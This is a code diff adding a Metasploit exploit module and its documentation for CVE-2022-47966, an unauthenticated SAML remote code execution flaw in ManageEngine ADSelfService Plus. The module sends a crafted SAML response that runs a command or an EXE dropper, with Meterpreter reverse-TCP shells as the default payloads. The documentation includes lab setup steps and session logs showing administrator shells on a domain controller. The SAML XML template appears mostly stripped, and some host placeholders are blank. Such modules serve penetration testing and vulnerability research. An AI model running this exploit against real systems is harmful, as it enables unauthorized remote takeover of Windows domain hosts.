diff --git a/documentation/modules/exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.md b/documentation/modules/exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.md new file mode 100644 index 000000000000..5b47720229c9 --- /dev/null +++ b/documentation/modules/exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.md @@ -0,0 +1,151 @@ +## Vulnerable Application + +This exploits an unauthenticated remote code execution vulnerability that +affects Zoho ManageEngine ADSelfService Plus versions 6210 and below +(CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario +version 1.4.1), it is possible to execute arbitrary code by providing a crafted +`samlResponse` XML to the ADSelfService Plus SAML endpoint. Note that the target +is only vulnerable if it has been configured with SAML-based SSO at least once +in the past, regardless of the current SAML-based SSO status. + + +## Installation + +### SAML 2.0 Identity Provider + +If you don't have an already SAML 2.0 Identity Provider (IdP), you can use this +free one for testing: https://mocksaml.com/. Download the Metadata file and +take note of the Entity ID URL (`https://saml.example.com/entityid`). + +### Download the installers + +Go to https://archives.manageengine.com/, fill the form with any data and +select ADSelfService Plus product with any version (e.g. `6210`). You can then +have access to all the versions and platform installers. + +### Windows + +This host will need to be part of a domain. +1. Launch the Windows installer and select all the default options by clicking + `Next` (you can skip the Registration for Technical Support part, it is + optional). When the installation is done, unselect the two options `Yes, I + want to view readme file` and `Start ADSelfService Plus in console mode` and + click `Finish`. +1. Go to the Start menu, select `ADSelfService Plus` and click `Install + ADSelfService Plus as Service`. +1. Go to the Start menu again, select `ADSelfService Plus` and click `Start + ADSelfService Plus`. This will start a browser and get you to the login + page. + +### Enable SAML 2.0 SSO + +1. Go to `http://:8888` +1. Login with the default Administrator credentials (`admin`:`admin`). +1. Fill and set up the mandatory Security Questions and click `Next`. +1. Click on `Admin` in the navigation bar, then `Product Settings` and `Connection`. +1. Select `ADSelfService Plus Port [https]` and click on `Apply SSL Certificate`. +1. Select `Generate Certificate`, fill the mandatory fields and click on + `Generate & Apply Self-Signed Certificate`. +1. Click on `Update Access URL` in the banner that appears immediately after + the SSL certificate has been applied. +1. Select `HTTPS` and change the default port to 9251. The Server Name should + already be the system hostname. Click `Save`. +1. Click again on `Admin` in the navigation bar, then `Customize` and `Login + Settings`. In the main panel `General` tab, check the `Hide self-service + admin login` checkbox, close the notification window and click `Save`. +1. Select the `Single Sign-On` tab and check the `Enable SSO` checkbox. +1. Select SAML Authentication, choose `Custom SAML` in the `Select IdP` + dropdown menu. Enter any name in `IdP Name` and upload the Metadata file you + get from the IdP. +1. Click `Save`. + +At this point you will need to take note of the URL (Recipient or Issuer URL +they should be the same). Its format is +`https://:9251/samlLogin/<32-digit id>`. The ID will be used by the +module (see the next section). + +Finally, restart the server: go to the Start menu again, select `ADSelfService +Plus` and click `Stop ADSelfService Plus` and then `Start ADSelfService Plus`. +This should get you to the updated URL the HTTPS one, port 9251. + + +## Verification Steps + +1. Start msfconsole +1. Do: `use multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966` +1. Do: `exploit rhosts= lhost= guid= issuer_url=` +1. You should get a shell +1. Also test with the other target + + +## Options + +### TARGETURI +The ADSelfService Plus SAML endpoint URL. Set to `/samlLogin` by default. + +### GUID +The SAML endpoint GUID you got from the Admin page (see the `Enable SAML 2.0 +SSO` section). + +### ISSUER_URL +The Issuer URL used by the Identity Provider which has been configured as the +SAML authentication provider for the target server. + +### RELAY_STATE +The Relay State URL. This is optional and is automatically set up by the module +by default (`http(s)://:/samlLogin/LoginAuth`). + + +## Scenarios + +## Windows 2019 - Target 0 (Windows Command) +``` +msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid + +[*] Started reverse TCP handler on 192.168.100.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Sending stage (175686 bytes) to 192.168.100.107 +[*] Meterpreter session 7 opened (192.168.100.1:4444 -> 192.168.100.107:50225) at 2023-01-26 21:42:18 +0100 + +meterpreter > sysinfo +Computer : NEWDC01 +OS : Windows 2016+ (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : NEWLAB +Logged On Users : 8 +Meterpreter : x86/windows +meterpreter > getuid +Server username: NEWLAB\Administrator +``` + +## Windows 2019 - Target 1 (Windows EXE Dropper) +``` +msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid + +[*] Started reverse TCP handler on 192.168.100.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Command Stager progress - 17.01% done (2046/12025 bytes) +[*] Command Stager progress - 34.03% done (4092/12025 bytes) +[*] Command Stager progress - 51.04% done (6138/12025 bytes) +[*] Command Stager progress - 68.06% done (8184/12025 bytes) +[*] Command Stager progress - 84.24% done (10130/12025 bytes) +[*] Sending stage (200774 bytes) to 192.168.100.107 +[*] Command Stager progress - 100.00% done (12025/12025 bytes) +[*] Meterpreter session 8 opened (192.168.100.1:4444 -> 192.168.100.107:50227) at 2023-01-26 21:42:49 +0100 + +meterpreter > sysinfo +Computer : NEWDC01 +OS : Windows 2016+ (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : NEWLAB +Logged On Users : 8 +Meterpreter : x64/windows +meterpreter > getuid +Server username: NEWLAB\Administrator +``` + + diff --git a/modules/exploits/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.rb b/modules/exploits/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.rb new file mode 100644 index 000000000000..4a24f8564fd3 --- /dev/null +++ b/modules/exploits/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966.rb @@ -0,0 +1,200 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE', + 'Description' => %q{ + This exploits an unauthenticated remote code execution vulnerability + that affects Zoho ManageEngine AdSelfService Plus versions 6210 and + below (CVE-2022-47966). Due to a dependency to an outdated library + (Apache Santuario version 1.4.1), it is possible to execute arbitrary + code by providing a crafted `samlResponse` XML to the ADSelfService Plus + SAML endpoint. Note that the target is only vulnerable if it has been + configured with SAML-based SSO at least once in the past, regardless of + the current SAML-based SSO status. + }, + 'Author' => [ + 'Khoa Dinh', # Original research + 'horizon3ai', # PoC + 'Christophe De La Fuente' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2022-47966'], + ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'], + ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'], + ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'], + ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis'] + ], + 'Platform' => ['win'], + 'Payload' => { + 'BadChars' => "\x27" + }, + 'Targets' => [ + [ + 'Windows EXE Dropper', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :windows_dropper, + 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } + } + ], + [ + 'Windows Command', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Type' => :windows_command, + 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } + } + ] + ], + 'DefaultOptions' => { + 'RPORT' => 9251, + 'SSL' => true + }, + 'DefaultTarget' => 1, + 'DisclosureDate' => '2023-01-10', + 'Notes' => { + 'Stability' => [CRASH_SAFE,], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + }, + 'Privileged' => true + ) + ) + + register_options([ + OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]), + OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]), + OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]), + OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://:/samlLogin/LoginAuth"' ]) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']) + ) + return CheckCode::Unknown unless res + + return CheckCode::Safe unless res.code == 200 + + product = res.get_html_document.xpath('//title').first&.text + unless product == 'ADSelfService Plus' + return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})") + end + + CheckCode::Detected + end + + def encode_begin(real_payload, reqs) + super + + reqs['EncapsulationRoutine'] = proc do |_reqs, raw| + raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw + end + end + + def exploit + case target['Type'] + when :windows_command + execute_command(payload.encoded) + when :windows_dropper + execute_cmdstager + end + end + + def execute_command(cmd, _opts = {}) + if target['Type'] == :windows_dropper + cmd = "cmd /c #{cmd}" + end + cmd = cmd.encode(xml: :attr).gsub('"', '') + + assertion_id = "_#{SecureRandom.uuid}" + # Randomize variable names and make sure they are all different using a Set + vars = Set.new + loop do + vars << Rex::Text.rand_text_alpha_lower(5..8) + break unless vars.size < 3 + end + vars = vars.to_a + saml = <<~EOS + + + + + + + #{datastore['ISSUER_URL']} + + + + + + + + + + + + + + + + + + + + #{Rex::Text.encode_base64(SecureRandom.random_bytes(32))} + + + #{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))} + + + + + EOS + + relay_state_url = datastore['RELAY_STATE'] + if relay_state_url.blank? + relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth" + end + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']), + 'vars_get' => { + 'RelayState' => Rex::Text.encode_base64(relay_state_url) + }, + 'vars_post' => { + 'SAMLResponse' => Rex::Text.encode_base64(saml) + } + }) + + unless res&.code == 200 + fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})") + end + + res + end + +end